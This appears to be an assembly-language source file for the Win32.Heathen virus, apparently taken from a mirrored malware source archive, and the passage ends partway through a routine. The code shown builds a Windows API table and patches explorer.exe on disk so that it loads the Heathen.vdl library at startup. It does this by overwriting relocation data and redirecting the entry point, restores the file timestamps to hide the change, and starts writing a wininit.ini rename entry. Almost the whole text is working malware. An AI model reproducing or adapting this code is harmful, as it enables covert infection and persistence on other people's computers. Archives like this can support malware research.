mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
2940 lines
82 KiB
NASM
2940 lines
82 KiB
NASM
Win32.Heathen
|
|
; ---------------------------------------------------------------------------
|
|
; some definitions of structures
|
|
|
|
API_STRUC struc
|
|
OLE_MemoryAllocator dd ?
|
|
GetWindowsDirectoryA dd ?
|
|
CopyFileA dd ?
|
|
DeleteFileA dd ?
|
|
CreateFileA dd ?
|
|
ReadFile dd ?
|
|
WriteFile dd ?
|
|
CloseHandle dd ?
|
|
SetFilePointer dd ?
|
|
GetFileTime dd ?
|
|
SetFileTime dd ?
|
|
lstrcatA dd ?
|
|
lstrcpyA dd ?
|
|
lstrcmpA dd ?
|
|
lstrlenA dd ?
|
|
StgOpenStorage dd ?
|
|
StgCreateDocFile dd ?
|
|
CoGetMalloc dd ?
|
|
API_STRUC ends
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
WIN32_FIND_DATA_STRUC struc
|
|
dwFileAttributes dd ?
|
|
ftCreationTime dq ?
|
|
ftLastAccessTime dq ?
|
|
ftLastWriteTime dq ?
|
|
nFileSizeHigh dd ?
|
|
nFileSizeLow dd ?
|
|
dwReserved0 dd ?
|
|
dwReserved1 dd ?
|
|
cFileName db 80 dup(?)
|
|
cAlternateFileName db 14 dup(?)
|
|
WIN32_FIND_DATA_STRUC ends
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
STATG_STRUC struc
|
|
pwcsName dd ?
|
|
type dd ?
|
|
cbSize dq ?
|
|
mtime dq ?
|
|
ctime dq ?
|
|
atime dq ?
|
|
grfMode dd ?
|
|
grfLocksSupported dd ?
|
|
clsid db 16 dup(?)
|
|
grfStateBits dd ?
|
|
dwStgFmt dd ?
|
|
STATG_STRUC ends
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
DirectorySTRUC struc
|
|
DirectoryName dd ?
|
|
NextDirectorySTRUC dd ?
|
|
DirectorySTRUC ends
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
ILockBytes_Interface struc
|
|
QueryInterface dd ?
|
|
AddRef dd ?
|
|
Release dd ?
|
|
ReadAt dd ?
|
|
WriteAt dd ?
|
|
Flush dd ?
|
|
SetSize dd ?
|
|
LockRegion dd ?
|
|
UnlockRegion dd ?
|
|
Stat dd ?
|
|
ILockBytes_Interface ends
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
WNDCLASS_STRUC struc
|
|
style dd ?
|
|
lpfnWndProc dd ?
|
|
cbClsExtra dd ?
|
|
cbWndExtra dd ?
|
|
hInstance dd ?
|
|
hIcon dd ?
|
|
hCursor dd ?
|
|
hbrBackground dd ?
|
|
lpszMenuName dd ?
|
|
lpszClassName dd ?
|
|
WNDCLASS_STRUC ends
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
Import struc
|
|
OriginalFirstThunk dd ?
|
|
TimeDateStamp dd ?
|
|
ForwarderChain dd ?
|
|
DllName dd ?
|
|
FirstThunk dd ?
|
|
Import ends
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
Section struc
|
|
Name db 8 dup(?)
|
|
VirtualSize dd ?
|
|
VirtualAddress dd ?
|
|
SizeOfRawData dd ?
|
|
PointerToRawData dd ?
|
|
PointerToRelocations dd ?
|
|
PointerToLinenumbers dd ?
|
|
NumberOfRelocations dw ?
|
|
NumberOfLinenumbers dw ?
|
|
Characteristics dd ?
|
|
Section ends
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
IMalloc_Interface struc
|
|
QueryInterface dd ?
|
|
AddRef dd ?
|
|
Release dd ?
|
|
PreAlloc dd ?
|
|
PostAlloc dd ?
|
|
PreFree dd ?
|
|
PostFree dd ?
|
|
PreRealloc dd ?
|
|
PostRealloc dd ?
|
|
PreGetSize dd ?
|
|
PostGetSize dd ?
|
|
PreDidAlloc dd ?
|
|
PostDidAlloc dd ?
|
|
PreHeapMinimize dd ?
|
|
PostHeapMinimize dd ?
|
|
IMalloc_Interface ends
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
IStream_Interface struc
|
|
QueryInterface dd ?
|
|
AddRef dd ?
|
|
Release dd ?
|
|
Read dd ?
|
|
Write dd ?
|
|
Seek dd ?
|
|
SetSize dd ?
|
|
CopyTo dd ?
|
|
Commit dd ?
|
|
Revert dd ?
|
|
LockRegion dd ?
|
|
UnlockRegion dd ?
|
|
Stat dd ?
|
|
Clone dd ?
|
|
IStream_Interface ends
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
IStorage_Interface struc
|
|
QueryInterface dd ?
|
|
AddRef dd ?
|
|
Release dd ?
|
|
CreateStream dd ?
|
|
OpenStream dd ?
|
|
CreateStorage dd ?
|
|
OpenStorage dd ?
|
|
CopyTo dd ?
|
|
MoveElementTo dd ?
|
|
Commit dd ?
|
|
Revert dd ?
|
|
EnumElements dd ?
|
|
DestroyElement dd ?
|
|
RenameElement dd ?
|
|
SetElementTimes dd ?
|
|
SetClass dd ?
|
|
SetStateBits dd ?
|
|
Stat dd ?
|
|
IStorage_Interface ends
|
|
|
|
|
|
;
|
|
; File Name : heathen.vdl
|
|
; Format : Portable executable (PE)
|
|
; Section 1. (virtual address 00001000)
|
|
; Virtual size : 00002000 ( 8192.)
|
|
; Section size in file : 00001600 ( 5632.)
|
|
; Offset to raw data for section: 00000600
|
|
; Flags 60000020: Text Executable Readable
|
|
; Alignment : 16 bytes ?
|
|
|
|
|
|
unicode macro page,string,zero
|
|
irpc c,<string>
|
|
db '&c', page
|
|
endm
|
|
ifnb <zero>
|
|
dw zero
|
|
endif
|
|
endm
|
|
|
|
p586
|
|
model flat
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
; Segment type: Pure code
|
|
CODE segment para public 'CODE' use32
|
|
assume cs:CODE
|
|
;org 401000h
|
|
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Virus macro calls this routine through Callback24 API
|
|
; Attributes: bp-based frame
|
|
|
|
Callback24_code proc near
|
|
|
|
HEATHEN_BASE= dword ptr 8
|
|
ActiveDocument= dword ptr 0Ch
|
|
GetProcAddress= dword ptr 10h
|
|
KERNEL32= dword ptr 14h
|
|
OLE32= dword ptr 18h
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
pusha
|
|
push [ebp+OLE32]
|
|
push [ebp+KERNEL32]
|
|
push [ebp+GetProcAddress]
|
|
push [ebp+ActiveDocument]
|
|
mov eax, [ebp+HEATHEN_BASE]
|
|
push eax
|
|
mov ebx, eax
|
|
add ebx, 663h ; EBX = raw offset of Explorer patch code, equivalent to Virtual Address 401063h
|
|
push ebx
|
|
sub eax, 401400h ; VAdata-403000h = RAWdata-1C00h ==> RAWdata = VAdata - 401400h
|
|
push eax
|
|
call InstallVIRUS
|
|
popa
|
|
pop ebp
|
|
retn 14h
|
|
Callback24_code endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
asciiz_to_unicode proc near
|
|
|
|
ASCIIZ= dword ptr 8
|
|
UNICODE= dword ptr 0Ch
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
pusha
|
|
xor eax, eax
|
|
mov esi, [ebp+ASCIIZ]
|
|
mov edi, [ebp+UNICODE]
|
|
cld
|
|
|
|
NextCharacter:
|
|
lodsb
|
|
stosw ; convert to unicode, for use with OLE functions
|
|
or eax, eax
|
|
jnz short NextCharacter
|
|
popa
|
|
pop ebp
|
|
retn
|
|
asciiz_to_unicode endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
UpperCase proc near
|
|
|
|
ASCIIZ_String= dword ptr 8
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
push eax
|
|
push esi
|
|
mov esi, [ebp+ASCIIZ_String]
|
|
|
|
Next_Character:
|
|
mov al, [esi]
|
|
cmp al, 'a'
|
|
jb short notlowercase
|
|
cmp al, 'z'
|
|
ja short notlowercase
|
|
sub al, 20h ; convert tu uppercase
|
|
mov [esi], al
|
|
|
|
notlowercase:
|
|
inc esi
|
|
or al, al
|
|
jnz short Next_Character
|
|
pop esi
|
|
pop eax
|
|
pop ebp
|
|
retn
|
|
UpperCase endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
Explorer_Patch_Code proc near
|
|
pusha ; save registers
|
|
|
|
Library_Name:
|
|
push 0 ; VA address of string "Heathen.vdl"
|
|
|
|
API_Name:
|
|
mov eax, 0 ; VA of LoadLibraryA API
|
|
call dword ptr [eax]
|
|
popa ; restore registers
|
|
|
|
Old_EntryPoint:
|
|
push 0 ; original EntryPoint of explorer.exe
|
|
retn
|
|
Explorer_Patch_Code endp
|
|
|
|
; ---------------------------------------------------------------------------
|
|
aHeathen_vdl_0 db 'Heathen.vdl'
|
|
db 0
|
|
Encrypted_Text db 0A8h,0B8h,0CFh,0C8h,0DFh,0DDh,0B7h, 9Ah
|
|
db 9Eh, 8Bh, 97h, 9Ah, 91h,0DDh,0DFh,0BCh
|
|
db 90h, 8Fh, 86h, 8Dh, 96h, 98h, 97h, 8Bh
|
|
db 0DFh,0D7h,0BCh,0D6h,0DFh,0CEh,0C6h,0C6h
|
|
db 0CAh,0D2h,0CEh,0C6h,0C6h,0C6h,0DFh, 9Dh
|
|
db 86h,0DFh,0A8h, 90h, 90h, 9Bh,0B8h, 90h
|
|
db 9Dh, 93h, 96h, 91h,0DBh
|
|
assume ds:nothing
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
public DLL_EntryPoint
|
|
DLL_EntryPoint proc near
|
|
|
|
hinstDLL= dword ptr 8
|
|
fdwReason= dword ptr 0Ch
|
|
lpvReserved= dword ptr 10h
|
|
|
|
push ebp ; this is the EntryPoint of Heathen.vdl library
|
|
mov ebp, esp
|
|
push [ebp+fdwReason] ; reason for calling function
|
|
push [ebp+hinstDLL] ; handle of DLL module
|
|
call DllMain
|
|
pop ebp
|
|
retn 0Ch
|
|
DLL_EntryPoint endp
|
|
|
|
; ---------------------------------------------------------------------------
|
|
align 4
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
GetAPIAddresses proc near
|
|
|
|
APIs= dword ptr 8
|
|
GetProcAddress= dword ptr 0Ch
|
|
VA2RAW= dword ptr 10h
|
|
KERNEL32= dword ptr 14h
|
|
OLE32= dword ptr 18h
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
push ebx
|
|
push esi
|
|
push edi
|
|
mov eax, offset aGetWindowsDirectoryA ; VirtualAddress of API name
|
|
mov edi, [ebp+VA2RAW] ; delta to convert VA into RAW offset (where its located in memory)
|
|
mov esi, [ebp+GetProcAddress]
|
|
add eax, edi
|
|
mov ebx, [ebp+APIs]
|
|
push eax ; API name
|
|
push [ebp+KERNEL32] ; module handle
|
|
call esi
|
|
mov [ebx+API_STRUC.GetWindowsDirectoryA], eax
|
|
mov edx, offset aCopyFileA
|
|
add edx, edi
|
|
push edx ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.CopyFileA], eax
|
|
mov ecx, offset DeleteFileA
|
|
add ecx, edi
|
|
push ecx ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.DeleteFileA], eax
|
|
mov eax, offset aCreateFileA
|
|
add eax, edi
|
|
push eax ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.CreateFileA], eax
|
|
mov edx, offset aReadFile
|
|
add edx, edi
|
|
push edx ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.ReadFile], eax
|
|
mov ecx, offset aWriteFile
|
|
add ecx, edi
|
|
push ecx ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.WriteFile], eax
|
|
mov eax, offset aCloseHandle
|
|
add eax, edi
|
|
push eax ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.CloseHandle], eax
|
|
mov edx, offset aSetFilePointer
|
|
add edx, edi
|
|
push edx ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.SetFilePointer], eax
|
|
mov ecx, offset aGetFileTime
|
|
add ecx, edi
|
|
push ecx ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.GetFileTime], eax
|
|
mov eax, offset aSetFileTime
|
|
add eax, edi
|
|
push eax ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.SetFileTime], eax
|
|
mov edx, offset alstrcatA
|
|
add edx, edi
|
|
push edx ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.lstrcatA], eax
|
|
mov ecx, offset alstrcpyA
|
|
add ecx, edi
|
|
push ecx ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.lstrcpyA], eax
|
|
mov eax, offset alstrcmpA
|
|
add eax, edi
|
|
push eax ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.lstrcmpA], eax
|
|
mov edx, offset alstrlenA
|
|
add edx, edi
|
|
push edx ; API name
|
|
push [ebp+KERNEL32] ; KERNEL32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.lstrlenA], eax
|
|
mov ecx, offset aStgOpenStorage
|
|
add ecx, edi
|
|
push ecx ; API name
|
|
push [ebp+OLE32] ; OLE32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.StgOpenStorage], eax
|
|
mov eax, offset aStgCreateDocfile
|
|
add eax, edi
|
|
push eax ; API name
|
|
push [ebp+OLE32] ; OLE32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.StgCreateDocFile], eax
|
|
add edi, offset aCoGetMalloc
|
|
push edi ; API name
|
|
push [ebp+OLE32] ; OLE32 base
|
|
call esi
|
|
mov [ebx+API_STRUC.CoGetMalloc], eax
|
|
push ebx ; store in first field of API_STRUC a pointer to the Memory Allocator
|
|
push 1 ; must be 1
|
|
call [ebx+API_STRUC.CoGetMalloc] ; Retrieves a pointer to the default OLE task memory allocator
|
|
pop edi
|
|
pop esi
|
|
pop ebx
|
|
pop ebp
|
|
retn
|
|
GetAPIAddresses endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
PatchEXPLORER proc near
|
|
|
|
PEheader= byte ptr -120h
|
|
MZheader= byte ptr -78h
|
|
pImportDirectory= dword ptr -38h
|
|
LoadLibraryA_present= dword ptr -34h
|
|
reloc_section= dword ptr -30h
|
|
malloc_idata= dword ptr -2Ch
|
|
malloc_sections= dword ptr -28h
|
|
readbytes= dword ptr -24h
|
|
WriteTime= qword ptr -20h
|
|
AccessTime= qword ptr -18h
|
|
CreationTime= qword ptr -10h
|
|
FileHandle= dword ptr -8
|
|
error= dword ptr -4
|
|
APIs= dword ptr 8
|
|
WINDOWS_HeathenVEX= dword ptr 0Ch
|
|
API_LoadLibraryA= dword ptr 10h
|
|
MODULE_Kernel32= dword ptr 14h
|
|
Patch_RAWoffset= dword ptr 18h
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
add esp, 0FFFFFEE0h
|
|
xor eax, eax
|
|
push ebx
|
|
push esi
|
|
push edi
|
|
mov esi, [ebp+APIs]
|
|
mov [ebp+error], eax
|
|
push 0 ; NULL
|
|
push 10000000h ; FILE_FLAG_RANDOM_ACCESS (to optimize file caching)
|
|
push 3 ; OPEN_EXISTING
|
|
push 0 ; NULL = handle cannot be inherited
|
|
push 0 ; 0 = prevent file from being shared
|
|
push 0C0000000h ; GENERIC_READ + GENERIC_WRITE
|
|
push [ebp+WINDOWS_HeathenVEX]
|
|
call [esi+API_STRUC.CreateFileA] ; open file
|
|
mov [ebp+FileHandle], eax ; file handle
|
|
lea edx, [ebp+WriteTime]
|
|
push edx
|
|
lea ecx, [ebp+AccessTime]
|
|
push ecx
|
|
lea eax, [ebp+CreationTime]
|
|
push eax
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.GetFileTime] ; GetFileTime
|
|
lea edx, [ebp+readbytes] ; actual number of bytes read
|
|
push 0 ; NULL
|
|
push edx
|
|
lea ecx, [ebp+MZheader] ; buffer for MZ header
|
|
push 40h ; number of bytes to read
|
|
push ecx
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.ReadFile] ; read MZ header
|
|
push 0
|
|
push 0
|
|
push dword ptr [ebp+MZheader+3Ch] ; read pointer to new executable header
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.SetFilePointer] ; set file pointer to beginning of PE header
|
|
lea eax, [ebp+readbytes]
|
|
push 0
|
|
push eax
|
|
lea edx, [ebp+PEheader]
|
|
push 0A8h ; read A8h bytes of PE header
|
|
push edx
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.ReadFile] ; ReadFile
|
|
mov ecx, dword ptr [ebp+PEheader+28h] ; entrypoint
|
|
cmp ecx, dword ptr [ebp+PEheader+0A0h] ; relocs start
|
|
jnz short error11 ; both must be different from zero!
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.CloseHandle] ; close file
|
|
xor eax, eax ; return with error
|
|
jmp error10
|
|
; ---------------------------------------------------------------------------
|
|
|
|
error11:
|
|
movzx edx, word ptr [ebp+PEheader+6] ; number of sections
|
|
mov ecx, edx
|
|
shl ecx, 3
|
|
lea ecx, [ecx+ecx*4] ; ecx = size of sections
|
|
push ecx ; number of bytes to reserve
|
|
mov eax, [esi]
|
|
push eax ; IMalloc
|
|
mov edx, [eax]
|
|
call [edx+IMalloc_Interface.PreAlloc] ; reserve memory for sections
|
|
mov [ebp+malloc_sections], eax ; pointer to buffer of sections
|
|
push dword ptr [ebp+PEheader+84h] ; idata (import section) size
|
|
mov ecx, [esi]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IMalloc_Interface.PreAlloc] ; reserve memory for idata section
|
|
mov [ebp+malloc_idata], eax ; pointer to buffer of idata
|
|
cmp [ebp+malloc_sections], 0 ; malloc ok?
|
|
jz short error12
|
|
cmp [ebp+malloc_idata], 0 ; malloc ok?
|
|
jnz short malloc_ok
|
|
|
|
error12:
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.CloseHandle] ; close file
|
|
xor eax, eax ; return with error
|
|
jmp error10
|
|
; ---------------------------------------------------------------------------
|
|
|
|
malloc_ok:
|
|
push 0 ; FILE_BEGIN
|
|
push 0 ; high dword of file pointer
|
|
movzx edx, word ptr [ebp+PEheader+14h] ; NT Optional Header Size
|
|
add edx, dword ptr [ebp+MZheader+3Ch] ; offset of PE header
|
|
add edx, 18h ; size of PE File Header
|
|
push edx ; low dword of file pointer
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.SetFilePointer] ; SetFilePointer
|
|
push 0 ; NULL
|
|
lea ecx, [ebp+readbytes]
|
|
push ecx
|
|
movzx eax, word ptr [ebp+PEheader+6] ; number of sections
|
|
mov edx, eax
|
|
shl edx, 3
|
|
lea edx, [edx+edx*4] ; edx = size of sections
|
|
push edx
|
|
push [ebp+malloc_sections] ; buffer to store info of sections
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.ReadFile] ; read sections table
|
|
movzx eax, word ptr [ebp+PEheader+6]
|
|
dec eax
|
|
test eax, eax
|
|
jl short found_idata
|
|
|
|
check_next_section:
|
|
lea edx, [eax+eax*4]
|
|
mov ecx, [ebp+malloc_sections]
|
|
mov edx, [ecx+edx*8+Section.VirtualAddress]
|
|
cmp edx, dword ptr [ebp+PEheader+80h]
|
|
jle short found_idata ; rva inside idata
|
|
dec eax
|
|
test eax, eax
|
|
jge short check_next_section
|
|
|
|
found_idata:
|
|
movzx ecx, word ptr [ebp+PEheader+6]
|
|
dec ecx ; last section
|
|
mov [ebp+reloc_section], ecx
|
|
cmp [ebp+reloc_section], 0
|
|
jl short found_relocs
|
|
|
|
check_next_section2:
|
|
mov edx, [ebp+reloc_section]
|
|
lea edx, [edx+edx*4]
|
|
mov ecx, [ebp+malloc_sections]
|
|
mov edx, [ecx+edx*8+Section.VirtualAddress]
|
|
cmp edx, dword ptr [ebp+PEheader+0A0h] ; rva of relocs
|
|
jle short found_relocs ; reloc section found!
|
|
dec [ebp+reloc_section]
|
|
cmp [ebp+reloc_section], 0
|
|
jge short check_next_section2
|
|
|
|
found_relocs:
|
|
push 0 ; FILE_BEGIN
|
|
push 0
|
|
lea edx, [eax+eax*4] ; EAX=idata section number
|
|
mov ecx, [ebp+malloc_sections]
|
|
mov eax, [ebp+malloc_sections]
|
|
mov ebx, dword ptr [ebp+PEheader+80h] ; idata RVA
|
|
sub ebx, [ecx+edx*8+Section.VirtualAddress]
|
|
add ebx, [eax+edx*8+Section.PointerToRawData]
|
|
push ebx ; RAW offset of idata
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.SetFilePointer] ; set file pointer to beginning of idata
|
|
push 0 ; NULL
|
|
lea edx, [ebp+readbytes]
|
|
push edx
|
|
push dword ptr [ebp+PEheader+84h] ; size of idata
|
|
push [ebp+malloc_idata] ; buffer to read idata info
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.ReadFile] ; read all idata
|
|
xor ecx, ecx
|
|
mov [ebp+LoadLibraryA_present], ecx
|
|
mov eax, [ebp+malloc_idata]
|
|
mov [ebp+pImportDirectory], eax ; actual import directory
|
|
jmp next_importentry2
|
|
; ---------------------------------------------------------------------------
|
|
|
|
check_importentry:
|
|
mov ebx, eax
|
|
add ebx, [ebp+malloc_idata] ; start of idata buffer
|
|
sub ebx, dword ptr [ebp+PEheader+80h] ; (this is because buffer may have not been read at start of idata section)
|
|
push ebx
|
|
call UpperCase ; convert all to uppercase
|
|
pop ecx
|
|
push [ebp+MODULE_Kernel32] ; KERNEL32.DLL name
|
|
push ebx
|
|
call [esi+API_STRUC.lstrcmpA] ; compare DLL name
|
|
test eax, eax
|
|
jnz short next_importentry ; not the same
|
|
mov eax, [ebp+pImportDirectory]
|
|
mov edi, [eax+Import.OriginalFirstThunk] ; EDI = RVA of import lookup table
|
|
add edi, [ebp+malloc_idata]
|
|
sub edi, dword ptr [ebp+PEheader+80h] ; EDI = converted to RAW offset
|
|
xor ebx, ebx ; EBX = 0 = start of array
|
|
jmp short next_api0
|
|
; ---------------------------------------------------------------------------
|
|
|
|
more_apis:
|
|
test eax, eax
|
|
jle short next_api ; its not imported by name
|
|
add eax, [ebp+malloc_idata]
|
|
sub eax, dword ptr [ebp+PEheader+80h]
|
|
add eax, 2 ; skip HINT field
|
|
push [ebp+API_LoadLibraryA] ; "LoadLibraryA"
|
|
push eax
|
|
call [esi+API_STRUC.lstrcmpA] ; compare API name
|
|
test eax, eax
|
|
jnz short next_api ; not the same
|
|
mov eax, [ebp+pImportDirectory]
|
|
mov ecx, ebx
|
|
shl ecx, 2
|
|
mov edx, [eax+Import.FirstThunk] ; RVA of import address table
|
|
mov eax, offset API_Name+1
|
|
add edx, ecx ; select corresponding RVA from array of RVAs
|
|
sub eax, offset Explorer_Patch_Code ; start of bytes that will be written to explorer.exe
|
|
add eax, [ebp+Patch_RAWoffset] ; entrypoint of that routine
|
|
add edx, dword ptr [ebp+PEheader+34h] ; add ImageBase
|
|
mov [eax], edx ; RVA where LoadLibraryA address will be stored
|
|
xor edx, edx
|
|
mov [ebp+LoadLibraryA_present], 1 ; LoadLibraryA found! :D
|
|
mov [edi+ebx*4+4], edx ; make next api entry NULL, so it exits quickly, because the LoadLibrary has already been found! ;D
|
|
xor eax, eax
|
|
mov ecx, [ebp+pImportDirectory]
|
|
mov [ecx+20h], eax ; make next import entry NULL to exit quickly, we now have what we need ;D
|
|
|
|
next_api:
|
|
inc ebx
|
|
|
|
next_api0:
|
|
mov eax, [edi+ebx*4]
|
|
test eax, eax
|
|
jnz short more_apis ; still more imported APIs to check
|
|
|
|
next_importentry:
|
|
add [ebp+pImportDirectory], 14h ; next import entry
|
|
|
|
next_importentry2:
|
|
mov edx, [ebp+pImportDirectory] ; actual import entry
|
|
mov eax, [edx+Import.DllName] ; RVA of imported dll name
|
|
test eax, eax
|
|
jnz check_importentry ; check these dll imports
|
|
cmp [ebp+LoadLibraryA_present], 0
|
|
jz error13 ; error, LoadLibraryA not imported
|
|
mov edx, offset aHeathen_vdl_0
|
|
mov ecx, offset Library_Name+1
|
|
add edx, dword ptr [ebp+PEheader+0A0h]
|
|
sub ecx, offset Explorer_Patch_Code
|
|
add ecx, [ebp+Patch_RAWoffset] ; ECX = location in memory that contains VA (for explorer.exe) of Library name
|
|
sub edx, offset Explorer_Patch_Code
|
|
add edx, dword ptr [ebp+PEheader+34h] ; EDX = Virtual Address (when executing explorer.exe) of Library Name
|
|
mov eax, offset Old_EntryPoint+1
|
|
mov [ecx], edx ; store that virtual address in the patch code
|
|
sub eax, offset Explorer_Patch_Code
|
|
add eax, [ebp+Patch_RAWoffset] ; EAX = location in memory that contains VA (for explorer.exe) of its original EntryPoint
|
|
mov edx, dword ptr [ebp+PEheader+28h]
|
|
add edx, dword ptr [ebp+PEheader+34h] ; EDX = original EntryPoint
|
|
mov [eax], edx ; store old EntryPoint in the patch code
|
|
push 0 ; FILE_BEGIN
|
|
push 0
|
|
mov eax, [ebp+reloc_section] ; number of the reloc section
|
|
mov edx, [ebp+malloc_sections] ; buffer of sections table
|
|
mov ecx, dword ptr [ebp+PEheader+0A0h] ; RVA of relocs
|
|
lea eax, [eax+eax*4]
|
|
sub ecx, [edx+eax*8+Section.VirtualAddress] ; relative RVA from beginning of reloc section
|
|
mov edx, [ebp+malloc_sections]
|
|
add ecx, [edx+eax*8+Section.PointerToRawData] ; ECX = RAW offset of start of relocs
|
|
push ecx
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.SetFilePointer] ; set file pointer to start of relocs blocks
|
|
push 0 ; NULL
|
|
lea eax, [ebp+readbytes] ; here will be returned the actual number of bytes written
|
|
push eax
|
|
mov ecx, offset Encrypted_Text
|
|
sub ecx, offset Explorer_Patch_Code ; ECX = size of code to patch
|
|
push ecx
|
|
push [ebp+Patch_RAWoffset]
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.WriteFile] ; write patch code at beginning of relocs blocks
|
|
mov eax, dword ptr [ebp+PEheader+0A0h]
|
|
mov dword ptr [ebp+PEheader+28h], eax ; set new EntryPoint to point to the virus routine ;-)
|
|
push 0 ; FILE_BEGIN
|
|
push 0
|
|
push dword ptr [ebp+MZheader+3Ch]
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.SetFilePointer] ; set file pointer to PEheader start
|
|
lea edx, [ebp+readbytes]
|
|
push 0
|
|
push edx
|
|
lea ecx, [ebp+PEheader]
|
|
push 0A8h ; size of PE header
|
|
push ecx
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.WriteFile] ; write PE header
|
|
mov [ebp+error], 1 ; indicate we have patch explorer.exe successfully
|
|
|
|
error13:
|
|
push [ebp+malloc_sections]
|
|
mov eax, [esi]
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IMalloc_Interface.PreFree] ; free memory
|
|
push [ebp+malloc_idata]
|
|
mov ecx, [esi]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IMalloc_Interface.PreFree] ; free memory
|
|
lea edx, [ebp+WriteTime]
|
|
push edx
|
|
lea ecx, [ebp+AccessTime]
|
|
push ecx
|
|
lea eax, [ebp+CreationTime]
|
|
push eax
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.SetFileTime] ; restore file time
|
|
push [ebp+FileHandle]
|
|
call [esi+API_STRUC.CloseHandle] ; close handle
|
|
mov eax, [ebp+error] ; return error
|
|
|
|
error10:
|
|
pop edi
|
|
pop esi
|
|
pop ebx
|
|
mov esp, ebp
|
|
pop ebp
|
|
retn
|
|
PatchEXPLORER endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
CreateWININIT proc near
|
|
|
|
String= byte ptr -260h
|
|
BytesWritten= dword ptr -8
|
|
Character_Equal= dword ptr -4
|
|
APIs= dword ptr 8
|
|
WINDOWS_WininitINI= dword ptr 0Ch
|
|
WINDOWS_ExplorerEXE= dword ptr 10h
|
|
WINDOWS_HeathenVEX= dword ptr 14h
|
|
HEATHEN_BASE= dword ptr 18h
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
add esp, 0FFFFFDA0h
|
|
mov eax, offset aRename
|
|
lea edx, [ebp+String]
|
|
push ebx
|
|
push esi
|
|
add eax, [ebp+HEATHEN_BASE]
|
|
mov ebx, [ebp+APIs] ; APIs array
|
|
push eax
|
|
push edx
|
|
call [ebx+API_STRUC.lstrcpyA] ; create section [rename]
|
|
push [ebp+WINDOWS_ExplorerEXE]
|
|
lea ecx, [ebp+String]
|
|
push ecx
|
|
call [ebx+API_STRUC.lstrcatA] ; add "c:windowsexplorer.exe"
|
|
mov [ebp+Character_Equal], '='
|
|
lea eax, [ebp+Character_Equal]
|
|
lea edx, [ebp+String]
